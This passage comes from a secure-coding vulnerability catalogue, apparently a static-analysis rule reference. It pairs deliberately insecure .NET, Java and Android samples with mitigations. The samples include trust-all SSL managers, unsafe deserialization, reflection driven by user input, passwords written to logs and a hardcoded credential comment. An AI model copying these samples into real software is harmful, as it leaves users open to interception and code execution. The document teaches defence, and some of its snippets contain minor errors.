The exception thrown contains message which is similar to *Remote certificate is invalid according to the validation procedure*. If this error message is searched in the Internet for a solution, the following wrong suggestion might be given;

```
TrustManager[] trustAllCerts = new TrustManager[] {
  new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
            return null;
            }

            public void checkClientTrusted(X509Certificate[] certs, String authType) {
            }

            public void checkServerTrusted(X509Certificate[] certs, String authType) {
            }
  }
};

SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

URL url = new URL("https://www.selfsigned.com/");
HttpsURLConnection con = (HttpsURLConnection)url.openConnection();
```

The code above will make the exception disappear, however, since no validation check will be done in method vsc, the attacker will have the opportunity to intercept the traffic using man-in-the-middle attacks but the code won't produce any warning messages.

Technology	ANDROID

SSL is the de-facto standard used to provide end-to-end secrecy between clients and the server over HTTP.

HTTPS using server administrators buy valid SSL certificates from valid certificate authorities. They provide these certificates to the user agents during connection and the Android applications apply various check mechanisms to make sure that the user is connecting to a valid domain. A few of these checks;

- The domain name on the certificate should match the target domain name that the user wants to connect
- The certificate shouldn't be expired
- The certificate shouldn't be revoked
- The certificate should be signed with a valid certificate authority (prebuilt)

If any of these checks fail, the end user is presented an interface saying that the connection isn't secure. This warning interface is the single most important warning medium for the end users against attackers executing man in the middle attacks using hacking techniques such as ARP poisoning.

Sometimes, we write code connecting to a test server during testing which has a self-signed SSL certificate. The self-signed SSL certificates can't provide the security assurance that the above controls want to assure, however, SSL certificates are somewhat expensive and needs time to acquire. So during test process self-signed SSL certificates are installed into the test servers.

The code that connects to one of these test servers fail miserably because of the the last control listed above. For example;

```
URL url = new URL("https://www.selfsigned.com/");
HttpsURLConnection con = (HttpsURLConnection)url.openConnection();
```

The exception thrown contains message which is similar to *Remote certificate is invalid according to the validation procedure*. If this error message is searched in the Internet for a solution, the following wrong suggestion might be given;

```
TrustManager[] trustAllCerts = new TrustManager[] {
  new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
            return null;
            }

            public void checkClientTrusted(X509Certificate[] certs, String authType) {
            }

            public void checkServerTrusted(X509Certificate[] certs, String authType) {
            }
  }
};

SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());

SSLSocketFactory sf = new CustomSSLSocketFactory(trustStore);
```

```
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

HttpParams params = new BasicHttpParams();
SchemeRegistry registry = new SchemeRegistry();
registry.register(new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));
registry.register(new Scheme("https", sf, 443));

ClientConnectionManager ccm = new ThreadSafeClientConnManager(params, registry);
HttpClient client = new DefaultHttpClient(ccm, params);

HttpResponse httpResponse = client.execute(request);
```

The code above will make the exception disappear, however, since no validation check will be done in method vsc, the attacker will have the opportunity to intercept the traffic using man-in-the-middle attacks but the code won't produce any warning messages.

Another example for a custom but insecure SSL validation code follows;

```
import org.apache.http.conn.ssl.AllowAllHostnameVerifier;

AllowAllHostnameVerifier aahv = new AllowAllHostnameVerifier();
URL url = new URL(target);
HttpsURLConnection con = (HttpsURLConnection) url.openConnection();
con.setHostnameVerifier(aahv);
response = readStream(con.getInputStream());
```

Mitigation

Technology	.NET

Custom SSL validation code should only be used for testing purposes, it shouldn't be part of production code.

The default SSL validation checks should be used for phone native applications or server side code.

Technology	JAVA

Custom SSL validation code should only be used for testing purposes, it shouldn't be part of production code.

The default SSL validation checks should be used for phone native applications or server side code.

Technology	ANDROID

Custom SSL validation code should only be used for testing purposes, it shouldn't be part of production code. The default SSL validation checks should be used for phone native applications or server side code.	
References	• CWE-295 • HIPAA Security Rule 45 CFR 164.312(e)(2)(i) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • OWASP Top 10 M3 • PCI DSS 6.5.4

Sensitive Information Exposure

Title	Sensitive Information Exposure
Summary	The attacker can read the sensitive system related information through the responses the application provides
Severity	Medium
Cost Fix	Low
Trust Level	Low
ID	
Description	
Technology	.NET

Sensitive information leakage is a relative and wide-scope issue that should be evaluated for each software project and use case. However, as a general rule of thumb no software should disclose any sensitive information through application responses.

For example, if printing current directory to the response is unnecessary and the goal could be achieved by using different means then the usage should be prevented in the code below;

```
public class SearchController : ApiController
{
        [HttpPost]
```

```
public HttpResponseMessage Search(String criteria)
{

Cookie cookie = new Cookie("pwd", Environment.CurrentDirectory);
response.addCookie(cookie);

// return
}
```

There are other environmental and server specific ways of accessing sensitive information and some of them are listed as properties under System.Environment, System.Web.HttpServerUtility and System.Web.HttpRuntime classes.

Technology	JAVA

Sensitive information leakage is a relative and wide-scope issue that should be evaluated for each software project and use case. However, as a general rule of thumb no software should disclose any sensitive information through application responses.

For example, if printing current directory to the response is unnecessary and the goal could be achieved by using different means then the usage should be prevented in the code below;

```
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException  {

  String currentDir = System.getProperty("user.dir");
  Cookie cookie=new Cookie("cwd", currentDir);

  response.addCookie(cookie);

  ...
}
```

Mitigation

Technology	.NET

Need-to-know principle is one of the most important principles of information security. Any unnecessary information should not be presented to or derived by the attackers or normal users.

As such, the code should prevent any sensitive information to leak in responses. In order to achieve this the first line of defense is to never write code to cause this leakage.

Technology	JAVA

Need-to-know principle is one of the most important principles of information security. Any

unnecessary information should not be presented to or derived by the attackers or normal users. As such, the code should prevent any sensitive information to leak in responses. In order to achieve this the first line of defense is to never write code to cause this leakage.	
References	• CWE-200 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A6 • PCI DSS 6.5.5

Insecure Serialization - Delegate

Title	Insecure Serialization - Delegate
Summary	The attacker may inject random code and execute on the application server side through insecure serialization resulting in total ownage
Severity	Medium
Cost Fix	Medium
Trust Level	Medium
ID	
Description	From early Remote Method Invocation (RMI) or CORBA implementations, Serialization/Deserialization is a key mechanism used for transferring a code state from one end to another. Serialization/Deserialization happens both in-process, inter-process and inter-network communications between same or different frameworks. Usually only member fields an instance object of a class is serialized on the source with their accompanied data and then deserialized on the target. However, in .NET delegate keyword can be used to serialize/deserialize method implementations, too. The code below, includes a serializable class that contains a *Delegate* field, which acts as a function pointer and called in *SendAndSave* method. The attacker having a serialized version of an instance of *RemoteMessage* can point *del* to *Process.Start* method and execute arbitrary commands on the

<table>
<tr><td></td><td>server side which deserializes the attacker sent serialized object.


```
[Serializable]
public class RemoteMessage
{
  Delegate del;
  String content;
  public RemoteMessage(Delegate del, string content)
  {
        this.del = del;
        this.content = content;
  }

  public MessageResult SendAndSave()
  {
        return del.DynamicInvoke(content);
  }
}
```

The same goes with the event handlers, too.


```
[Serializable]
public class RemoteMessage
{
  event EventHandler OnRun;
  String content;
  public RemoteMessage(string content)
  {
        this.content = content;
  }

  public MessageResult SendAndSave()
  {
        return OnRun(content);
  }
}
```
</td></tr>
<tr><td>Mitigation</td><td>In order to protect against Delegate serialization problem, the field should be marked as not serializable, if possible, as shown below.


```
[Serializable]
public class RemoteMessage
{
  [field:NonSerialized]
  Delegate del;
  String content;
  public RemoteMessage(Delegate del, string content)
  {
        this.del = del;
```
</td></tr>
</table>

	this.content = content;
	}
	
	public MessageResult SendAndSave()
	{
	return del.DynamicInvoke(content);
	}
	}

References	• CWE-502 • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B)

Insecure Deserialization - XML

Title	Insecure Deserialization - XML
Summary	The attacker may inject random code and execute on the application server side through insecure XML deserialization resulting in total ownage
Severity	Low
Cost Fix	Medium
Trust Level	Low
ID	
Description	From early Remote Method Invocation (RMI) or CORBA implementations, Serialization/Deserialization is a key mechanism used for transferring a code state from one end to another. Serialization/Deserialization happens both in-process, inter-process and inter-network communications between same or different frameworks. There are APIs which can deserialize already serialized class instances such as below; XmlSerializer serializer = new XmlSerializer(typeof(OrderedItem)); FileStream fs = new FileStream(userInputFileName, FileMode.OpenOrCreate); TextReader reader = new StreamReader(fs); OrderedItem i = (OrderedItem) serializer.Deserialize(reader); i.Register();

	The code above reads a user inputted file and deserialize the type instance and executes its *Register* method. Since System.XML.Serialization.XMLSerializer class can only serialize simple public types the risk is low, however, deserializing a string that goes to a dangerous sink in *Register* method might allow an attacker to pull a successful hack.

Mitigation	Deserialized types should be *sealed* in order to prevent any inheritance that the attacker can provide an inherited malicious serialized object.
	
	sealed class OrderedItem
	{
	public String content;
	public void Register()
	{
	// use content to register
	}
	}
	
	Moreover, in order to prevent cast exceptions, more safe methods of casting such *as* as or *is* keywords.

References	• CWE-502 • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B)

Insecure Deserialization - Binary

Title	Insecure Deserialization - Binary
Summary	The attacker may inject random code and execute on the application server side through insecure binary deserialization resulting in total ownage
Severity	Medium
Cost Fix	Medium
Trust Level	Low
ID	
Description	From early Remote Method Invocation (RMI) or CORBA implementations, Serialization/Deserialization is a key mechanism used for transferring a

	code state from one end to another. Serialization/Deserialization happens both in-process, inter-process and inter-network communications between same or different frameworks.
	
	There are APIs which can deserialize already serialized class instances such as below;
	
	`BinaryFormatter serializer = new BinaryFormatter();`
	
	`byte [] content = File.ReadAllBytes(userInputFilePath);`
	`MemoryStream ms = new MemoryStream(content);`
	
	`OrderedItem i = (OrderedItem) serializer.Deserialize(ms);`
	`i.Register();`
	
	The code above reads a user inputted file and deserialize the type instance and executes its *Register* method. Providing a malicious serialized object and attacker can execute random code with *Register* method executing.

Mitigation	Deserialized types should be *sealed* in order to prevent any inheritance that the attacker can provide an inherited malicious serialized object.
	
	`sealed class OrderedItem`
	`{`
	`  public String content;`
	`  public void Register()`
	`  {`
	`  // use content to register`
	`  }`
	`}`
	
	Moreover, in order to prevent cast exceptions, more safe methods of casting such *as* as or *is* keywords.

References	• CWE-502 • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B)

Potential Unsafe Decoding

Title	Potential Unsafe Decoding
Summary	The double decoding or unnecessary decoding process may increase the likelihood of an attacker bypassing the web application firewalls or security

	filters
Severity	Medium
Cost Fix	Low
Trust Level	Low
ID	

Description

Technology	.NET

Generally web application firewalls or security filters are utilized to secure web applications providing zero-touch to the source code for actually securing it. These are obviously weak and unfortunately insecure mechanisms. Since there ise always a strong possibility to bypass rule/dictionary based security filters as the history shows.

Although security filters generally employ blacklisting behaviours and as such insecure, we, developers, like to use them since they **seem** to be centralized and easy to implement.

One more reason to bypass security filter rules is to pass encoded attack strings to the target application that the filter will not understand. It has to decode first, which is usually underestimated because of mainly performance issues and existence of different ways of encodings.

```
HttpCookie aCookie = Request.Cookies["corss"];
string corss = Server.UrlDecode(aCookie.Value);
processCookieValue(corss);
Uri uri = new Uri("http://www.vulnerable.com/check3w?id=" + corss);
WebRequest webRequest = WebRequest.Create(uri);
```

The above code takes a user input from the cookie and URL decodes it before sending to an external URL. Here by sending a *double encoded* cookie value to this code, such security filters may be bypassed since they will not double decode it before analyzing.

However, the framework will URL decode the value implicitly once when the developer fetches it with *aCookie.Value*. And again when *Server.UrlDecode* method is called getting the original value just before the attacker send it before *double encoding*.

Technology	JAVA

Generally web application firewalls or security filters are utilized to secure web applications

providing zero-touch to the source code for actually securing it. These are obviously weak and unfortunately insecure mechanisms. Since there ise always a strong possibility to bypass rule/dictionary based security filters as the history shows.

Although security filters generally employ blacklisting behaviours and as such insecure, we, developers, like to use them since they **seem** to be centralized and easy to implement.

One more reason to bypass security filter rules is to pass encoded attack strings to the target application that the filter will not understand. It has to decode first, which is usually underestimated because of mainly performance issues and existence of different ways of encodings.

```
public void doGet(HttpServletRequest req, HttpServletResponse res)
   throws ServletException, IOException  {

  Cookie[] cookies = request.getCookies();
  Cookie corssCookie = GetCookie(cookies, "corss");
  String corss = URLDecoder.decode(corssCookie.getValue());

  ProcessCookieValue(corss);

  URL url = new URL("http://www.vulnerable.com/check3w?id=" + corss);
  HttpsURLConnection con = (HttpsURLConnection)url.openConnection();

  ...
}
```

The above code takes a user input from the cookie and URL decodes it before sending to an external URL. Here by sending a *double encoded* cookie value to this code, such security filters may be bypassed since they will not double decode it before analyzing.

However, the framework will URL decode the value implicitly once when the developer fetches it with *corssCookie.getValue()*. And again when *java.net.URLDecoder.decode* method is called getting the original value just before the attacker send it before *double encoding*.

Mitigation	
Technology	.NET
Any double decoding or even a direct (not implicitly performed by the framework) single decode execution should be analyzed further for any security implications against the middleware security filters such as web applications firewall.	
Technology	JAVA

Any double decoding or even a direct (not implicitly performed by the framework) single decode execution should be analyzed further for any security implications against the middleware security filters such as web applications firewall.	
References	• CWE-174 • HIPAA Security Rule 45 CFR 164.306(a)(2)

Suspicious Comment

Title	Suspicious Comment
Summary	Sensitive data or internal sensitive information leading to vulnerabilities may leak through code comments
Severity	Low
Cost Fix	Low
Trust Level	Low
ID	

Description

Comments are the key mechanism in order to make easier for a human to read a code and understand its goal, tricks etc.

Since comments can be rich, sometimes, we, developers put far more information than we should put and then forget all about it. These comments may also indicate potential vulnerabilities if they fall into the hands of malicious parties.

Some of the indicators of suspicious comments may include keywords; BUG, TRICK, NOTE: HACK, FIXME, LATER, TODO and even the cursing words depending on the mood of the developer.

```
// NOTE: test username: amanda password: j4SH3#!0d
```

Mitigation

Suspicious comments should be analyzed in order not to contain sensitive information such as hacks, default credentials, backdoors and etc.

References	• CWE-546 • HIPAA Security Rule 45 CFR 164.306(a)(3)

Insecure Native Code Interaction

Title	Insecure Native Code Interaction
Summary	Attackers can exploit low-level vulnerabilities such as buffer overflows by leveraging interaction through native code
Severity	Low
Cost Fix	Medium
Trust Level	Medium
ID	
Description	
Technology	.NET

Abilities prepared by using unmanaged DLLs can be called from managed code in .NET environment. This is a great flexibility and a necessity since there's a huge legacy functions that should be utilized and middleware code still using unmanaged technology.

The code below is an example of such a call;

```
using System;
using System.Runtime.InteropServices;

class Program
{

  [DllImport("Legacy.dll", CallingConvention = CallingConvention.Cdecl)]
  public static extern bool Transact([MarshalAs(UnmanagedType.LPStr)]string path);

  static void Main(string[] args)
  {
     // read user input as path
     bool ret = Transact(path);
  }
}
```

If the DLL imported has a buffer overflow vulnerability, which is a dreaded vulnerability that leads to total system ownage that is historically used throughout the decades by the hackers, then the input *path* feeded into it may be enough to exploit it.

Technology	JAVA

Abilities prepared by using natively written applications can be called from within JAVA environment. This is a great flexibility and a necessity since there's a huge legacy functions that should be utilized and middleware code still using unmanaged technology.

The code below is an example of such a call;

```
public class InteractNative {
  public native void run(String path, int num);

  static
  {
    System.loadLibrary("NativeImpl");
  }

  public static void main (String[] args) {
     InteractNative interactNative = new InteractNative();
     interactNative.run(args[0], Integer.parseInt(args[1]));
  }
}
```

If the native application imported has a buffer overflow vulnerability, which is a dreaded vulnerability that leads to total system ownage that is historically used throughout the decades by the hackers, then the first argument input *path* feeded into it may be enough to exploit it.

Mitigation

Technology	.NET

When a native code interaction is a requirement that can't be avoided the input points should be restricted to trusted sources. In addition to this, the input, the *path* above, should be put against whitelist input validation controls such as below;

```
[a-zA-Z0-9]{3, 30}
```

The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including null and non-printable characters at worst.

Technology	JAVA

When a native code interaction is a requirement that can't be avoided the input points should be restricted to trusted sources. In addition to this, the input, the *path* above, should be put against whitelist input validation controls such as below;

```
[a-zA-Z0-9]{3, 30}
```

The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including null and non-printable characters at worst.

References	• HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B)

Insecure Reflection

Title	Insecure Reflection
Summary	Attackers can control the flow of the software and cause various possible manipulations such as bypassing authorization controls
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Reflection is a mechanism used for obtaining type information of an existing object, invoking its methods or access its fields and properties or creating an instances of a type at runtime.

It's a powerful API and most of the MVC frameworks make use of reflection in order to ease the load of the developer, such as taking a path part from the URL, take it as an action and execute a custom code prepared for that action. Through MVC this is automatically done with the frameworks and this helps better modularization of the software.

However, if this ability is implemented by the developer with custom code, then reflection can be used as the code below shows;

```
using System.Reflection;

...
string action = Request["action"];
MethodInfo method = MyController.GetType().GetMethod(action);
return method.Invoke(service, new object[] { Request });
```

Here, the client side send the targeted action through the HTTP parameters and dynamically *MyController* class's related method is executed. However this provides a nice flexibility, an attacker now can call any callable method that *MyController* has without checking any access controls through *action* parameter.

Technology	JAVA

Reflection is a mechanism used for obtaining type information of an existing object, invoking its methods or access its fields and properties or creating an instances of a type at runtime.

It's a powerful API and most of the MVC frameworks make use of reflection in order to ease the load of the developer, such as taking a path part from the URL, take it as an action and execute a custom code prepared for that action. Through MVC this is automatically done with the frameworks and this helps better modularization of the software.

However, if this ability is implemented by the developer with custom code, then reflection can be used as the code below shows;

```
String actionMethod = request.getParameter("action");

Method method;

try
{
  method = MyController.getClass().getMethod(actionMethod);
  method.invoke(obj, request);
}
catch (SecurityException e)
{
  // handle error
}
catch (NoSuchMethodException e)
{
  // handle error
}
```

Here, the client side send the targeted action through the HTTP parameters and dynamically *MyController* class's related method is executed. However this provides a nice flexibility, an attacker now can call any callable method that *MyController* has without checking any access controls through *action* parameter.

Mitigation

Technology	.NET

Reflection provides a flexible way of interacting type instances at runtime which eases the load of the developer for complex requirements. However, the access control shouldn't be missed when using reflection with the user inputs.

Technology	JAVA

Reflection provides a flexible way of interacting type instances at runtime which eases the load of the developer for complex requirements. However, the access control shouldn't be missed when using reflection with the user inputs.

References	• CWE-470 • HIPAA Security Rule 45 CFR 164.312(a)(1)

Credential Exposure Log Files

Title	Credential Exposure Log Files
Summary	Attackers can reveal user or service account credentials in log files of the application
Severity	High
Cost Fix	Low
Trust Level	Low
ID	
Description	
Technology	.NET

Logging is an important aspect of programming. Log entries produced at runtime help developers to quickly analyze the bugs without too much effort. Additionally operation teams can recognize abnormal behaviors by analyzing the log entries.

Therefore, however at first the privacy of the log files may seem unnecessary, they contain sensitive information especially if no masking was performed when logging.

The code that produces a log entry may look like the following;

```
var pass = Request[“pass”];
logger.warn("Failed authentication for: "+ Request["uname"] + “-” + pass);
```

Here, the developer produces a warning log entry when the authentication for a user fails, for example, when a wrong password is provided. As you can see along with the username the password is also logged. If, somehow, these log files are distributed to a 3rd party team for a bugfix analysis, plaintext passwords will be exposed, too.

Technology	JAVA

Logging is an important aspect of programming. Log entries produced at runtime help developers to quickly analyze the bugs without too much effort. Additionally operation teams can recognize abnormal behaviors by analyzing the log entries.

Therefore, however at first the privacy of the log files may seem unnecessary, they contain sensitive information especially if no masking was performed when logging.

The code that produces a log entry may look like the following;

```
String uname = request.getParameter("uname");
String pass = request.getParameter("pass");
Logger.info("Failed authentication for: " + uname + " - " + pass);
```

Here, the developer produces a warning log entry when the authentication for a user fails, for example, when a wrong password is provided. As you can see along with the username the password is also logged. If, somehow, these log files are distributed to a 3rd party team for a bugfix analysis, plaintext passwords will be exposed, too.

Technology	ANDROID

Logging is an important aspect of programming. Log entries produced at runtime help developers to quickly analyze the bugs without too much effort. Additionally operation teams can recognize abnormal behaviors by analyzing the log entries.

Therefore, however at first the privacy of the log files may seem unnecessary, they contain sensitive information especially if no masking was performed when logging.

The code that produces a log entry may look like the following, using LogCat;

```
Log.v("LoginActivity", "Failed authentication for: " + uname + " - " + pass);
```

Here, the developer produces a warning log entry when the authentication for a user fails, for example, when a wrong password is provided. As you can see along with the username the password is also logged. Other applications installed can read log files if they get below permission when installed.

android.permission.READ_LOGS

If, moreover, somehow, these log files are distributed to a 3rd party team for a bugfix analysis, plaintext passwords will be exposed, too.

Mitigation

Sensitive data may vary from one company to another. However, having documented this sensitive data classification, logging operations shouldn't contain any of it without perhaps a masking operation. For certain types of data, on the other hand, no logging should be performed, even with masking.	
References	• CWE-200 • HIPAA Security Rule 45 CFR 164.306(a)(3) • HIPAA Security Rule 45 CFR 164.312(a)(1)

Insecure Software Component

Title	Insecure Software Component
Summary	Attackers can leverage vulnerabilities in 3rd party libraries; stealing user credentials, having total system ownage, executing denial of service
Severity	High
Cost Fix	High
Trust Level	Medium
ID	
Description	During development we, developers, rely on quite a few 3rd party libraries; jquery, bootstrap, newtonsoft json, etc. However, as with all software components these libraries, too, have vulnerabilities and in general these vulnerabilities get formally published. Armed with these ready information, attackers may exploit the weaknesses in these packages should we used them in our software in production environment.
Mitigation	Patch management is a key part of any decent information technology process and software development is not an exception. Using an automated package management utility, such as NuGet, and reserving 3rd party library updating policy in development life cycle will definitely produce more secure software.

References	• CWE-937 • HIPAA Security Rule 45 CFR 164.306(a)(1) • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B) • OWASP Top 10 A9 • PCI DSS 6.2

Clickjacking

Title	Clickjacking
Summary	By leveraging the trust the user placed in a browser an attacker can execute authentic requests on behalf of the users without users knowing
Severity	Low
Cost Fix	Low
Trust Level	Medium
ID	
Description	
Technology	.NET

Being able to render a web site in a browser inside a frame, iframe or object HTML elements may cause weaknesses Clickjacking being one of the most popular vulnerability that it leads to. In Clickjacking an attacker uses web standard tricks such as CSS opacity mechanism in order to present two layers of content to a browser user (victim). The first or front layer of content is transparent so that the victim sees the second or latter layer of the content and believes that the interaction takes place between his keyboard/mouse and the this second layer of content, whereas, the clicks and typings goes to the first layer of content.

This trick makes vulnerabilities such as Cross Site Request Forgery possible even with good prevention techniques.

There is an HTTP header, called X-Frame-Options, to prevent a browser render a page in a frame, iframe or object HTML elements. Missing this HTTP header may cause web sites vulnerable to Clickjacking attacks.

Technology	JAVA

Being able to render a web site in a browser inside a frame, iframe or object HTML elements may cause weaknesses Clickjacking being one of the most popular vulnerability that it leads to. In Clickjacking an attacker uses web standard tricks such as CSS opacity mechanism in order to present two layers of content to a browser user (victim). The first or front layer of content is transparent so that the victim sees the second or latter layer of the content and believes that the interaction takes place between his keyboard/mouse and the this second layer of content, whereas, the clicks and typings goes to the first layer of content.

This trick makes vulnerabilities such as Cross Site Request Forgery possible even with good prevention techniques.

There is an HTTP header, called X-Frame-Options, to prevent a browser render a page in a frame, iframe or object HTML elements. Missing this HTTP header may cause web sites vulnerable to Clickjacking attacks.

Mitigation

Technology	.NET

Allowing the source of content that should be rendered in iframe like HTML elements may minimize the risk of Clickjacking attacks. X-Frame-Options HTTP header can be used to limit the source of a content with certain
values;

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://trusted.com/

DENY means the page cannot be displayed in a frame, iframe, object, SAMEORIGIN means the page can only be displayed in a frame, iframe, object on the same origin as the content itself, ALLOW-FROM uri means the page can only be displayed in a frame, iframe, object on the specified origin

Using X-Frame-Options HTML tag in a meta element in HTML pages will not work, therefore, this header should be added in web.config as a security directive such as;

```
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
```

```
 </httpProtocol>
...
```

Technology	JAVA

Allowing the source of content that should be rendered in iframe like HTML elements may minimize the risk of Clickjacking attacks. X-Frame-Options HTTP header can be used to limit the source of a content with certain
values;

```
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://trusted.com/
```

DENY means the page cannot be displayed in a frame, iframe, object, SAMEORIGIN means the page can only be displayed in a frame, iframe, object on the same origin as the content itself, ALLOW-FROM uri means the page can only be displayed in a frame, iframe, object on the specified origin

Using X-Frame-Options HTML tag in a meta element in HTML pages will not work, therefore, this header might be added in servlet filters;

```
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
   throws IOException, ServletException {
  HttpServletResponse response = (HttpServletResponse) resp;
  response.addHeader("X-Frame-Options", "DENY");
  …
```

or spring security XML configuration

```
<http>
  <headers>
    <frame-options policy="SAMEORIGIN"/>
  </headers>
</http>
```

References	

- CWE-693
- HIPAA Security Rule 45 CFR 164.306(a)(2)
- HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B)
- OWASP Top 10 A6
- PCI DSS 6.5.6

Unsafe Database Resource Release

Title	Unsafe Database Resource Release
Summary	Attackers can leave the application in an unresponsive state such as denial of service causing customers to wait for a long time
Severity	High
Cost Fix	Low
Trust Level	Medium
ID	
Description	
Technology	.NET

Although getting richer every 18-months or so, computing environments have limited resources. These resources should be release after they are being used with success or failure in order to be used later on. Availability of a system depends on this.

In .NET the garbage collector reclaims the memory used by unmanaged objects, but types such as database APIs, that use unmanaged resources implement the *IDisposable* interface to allow this unmanaged memory to be reclaimed.

The code below doesn't release any of the resources it takes upon an exception. However, APIs such as *SqlConnection*, *SqliteConnection*, *MySqlConnection*, *SqlCommand*, *SqlDataReader*, etc. all use database connection resources and should be released properly.

```
public void getResults(String sqlQuery) {
  try {
        SqlCommand cmd = new SqlCommand(sqlQuery);
        cmd.Connection = conn;
        SqlDataReader rdr = cmd.ExecuteReader();
        processResults(rdr);
        rdr.Close();
        cmd.Dispose();
        conn.Close();
  } catch (SQLException e) { /* forward to handler */ }
}
```

The code below tries to release to resources in a finally block, however, there is still a risk

of leak when *rdr* is null and *rdr.Close();* triggers an null pointer exception. This will lead the leak of resources kept by *cmd* and *conn*.

```
public void getResults(String sqlQuery) {
  try {
        SqlCommand cmd = new SqlCommand(sqlQuery);
        cmd.Connection = conn;
        SqlDataReader rdr = cmd.ExecuteReader();
        processResults(rdr);
  } catch (SQLException e) { /* forward to handler */ }
  finally{
        rdr.Close();
        cmd.Dispose();
        conn.Close();
  }
}
```

The code below improves the situation, however, the risk is still there. If *rdr.Close();* triggers an exception. This will lead *cmd* and *conn* resources will not be released.

```
public void getResults(String sqlQuery) {
  try {
        SqlCommand cmd = new SqlCommand(sqlQuery);
        cmd.Connection = conn;
        SqlDataReader rdr = cmd.ExecuteReader();
        processResults(rdr);
  } catch (SQLException e) { /* forward to handler */ }
  finally{
        if(rdr !=null) rdr.Close();
        if(cmd !=null) cmd.Dispose();
        if(conn !=null) conn.Close();
  }
}
```

Technology	JAVA

Although getting richer every 18-months or so, computing environments have limited resources. These resources should be release after they are being used with success or failure in order to be used later on. Availability of a system depends on this.

In Java the garbage collector reclaims the memory used by objects, but types such as database APIs, that use resources implement the *java.io.Closeable* or *java.lang.AutoCloseable* (introduced in Java 7) interfaces to allow this unmanaged memory to be reclaimed.

The code below doesn't release any of the resources it takes upon an exception. However, APIs such as *Connection*, *PreparedStatement*, *ResultSet* etc. all use database connection

resources and should be released properly.

```
public void getResults(String sqlQuery) {
  try
  {
            Connection conn = getConnection();
             Statement stmt = conn.createStatement();
             ResultSet rs = stmt.executeQuery(sqlQuery);
             processResults(rs);
               rs.close();
             stmt.close();
             conn.close();
  } catch (SQLException e) { /* forward to handler */ }
}
```

The code below tries to release to resources in a finally block, however, there is still a risk of leak when *rdr* is null and *rdr.Close();* triggers an null pointer exception. This will lead the leak of resources kept by *cmd* and *conn*.

```
Statement stmt = null; ResultSet rs = null; Connection conn = null;
try
{
            conn = getConnection();
            stmt = conn.createStatement();
            rs = stmt.executeQuery(sqlQuery);
             processResults(rs);
}
catch(SQLException e) {
            // forward to handler
}
 finally {
            rs.close();
            stmt.close();
            conn.close();
 }
}
```

The code below improves the situation, however, the risk is still there. If *rdr.Close();* triggers an exception. This will lead *cmd* and *conn* resources will not be released.

```
try
 {
            stmt = conn.createStatement();
            rs = stmt.executeQuery(sqlQuery);
            processResults(rs);
}
catch (SQLException e) {
            // forward to handler
}
```

```
finally {
            if (rs != null) rs.close();
              if (stmt != null) stmt.close();
            if (conn != null) conn.close();
}
```

Mitigation

Technology	.NET

Releasing used database resources is vital for the availability of the running application. In order to release database resources a method can be implemented such as;

```
protected void secureRelease(SqlConnection conn, SQLCommand cmd, SqlReader rdr){
  if (rdr != null) {
    try{
      rdr.Close();
    }
    catch(SQLException ex){
       logger.Error("Error when releasing reader", ex);
    }
  }
  // same as above for cmd ve conn
}
```

And the method should be used consistently in try/catch/finally blocks.

```
try {
   cmd.Connection = conn;
   conn.Open();
   rdr = cmd.ExecuteReader();
   ...
}
catch (SqlCeException se){
   // log, return, try again etc.
}
finally{
   secureRelease(conn, cmd, rdr);
}
```

There's also another mechanism that is alternative to finally block is using. The compiler generates appropriate try/finally blocks for us with the using keyword and calling related *Dispose* methods.

```
using (SqlConnection conn = new SqlConnection(str))
{
   using(SqlCommand cmd = new SqlCommand(sqlQuery))
   {
```

```
            cmd.Connection = conn;
            using(SqlDataReader rdr = cmd.ExecuteReader())
            {
            MyDataSet dataSet = new MyDataSet();
            dataSet.Fill(rdr);
            return ds;
            }
  }
}
```

Technology	JAVA

Releasing used database resources is vital for the availability of the running application. In order to release database resources a method can be implemented such as;

```
protected void secureRelease(Connection conn, Statement stmt, ResultSet rs){
  if (rs != null) {
    try{
       rs.close();
    }
    catch(SQLException ex){
       logger.Error("Error when releasing resultset", ex);
    }
  }
  // same as above for stmt and conn above
}
```

And the method should be used consistently in try/catch/finally blocks.

```
try {
            Connection conn = getConnection();
             Statement stmt = conn.createStatement();
             ResultSet rs = stmt.executeQuery(sqlQuery);
             processResults(rs);
}
catch (SqlException se){
   // log, return, try again etc.
}
finally{
   secureRelease(conn, stmt, rs);
}
```

There's also another mechanism that is alternative to finally block is try-with-resources construct that comes with Java 8.

```
try (Statement stmt = con.createStatement())
{
  ResultSet rs = stmt.executeQuery(query);
```

while (rs.next()) {
// process row
}
}	

References	• CWE-404 • HIPAA Security Rule 45 CFR 164.306(a)(1)

Unsafe Stream Resource Release

Title	Unsafe FileSystem Resource Release
Summary	Attackers can leave the application in an unresponsive state such as denial of service causing customers to wait for a long time
Severity	High
Cost Fix	Low
Trust Level	Medium
ID	

Description	Although getting richer every 18-months or so, computing environments have limited resources. These resources should be release after they are being used with success or failure in order to be used later on. Availability of a system depends on this.
	
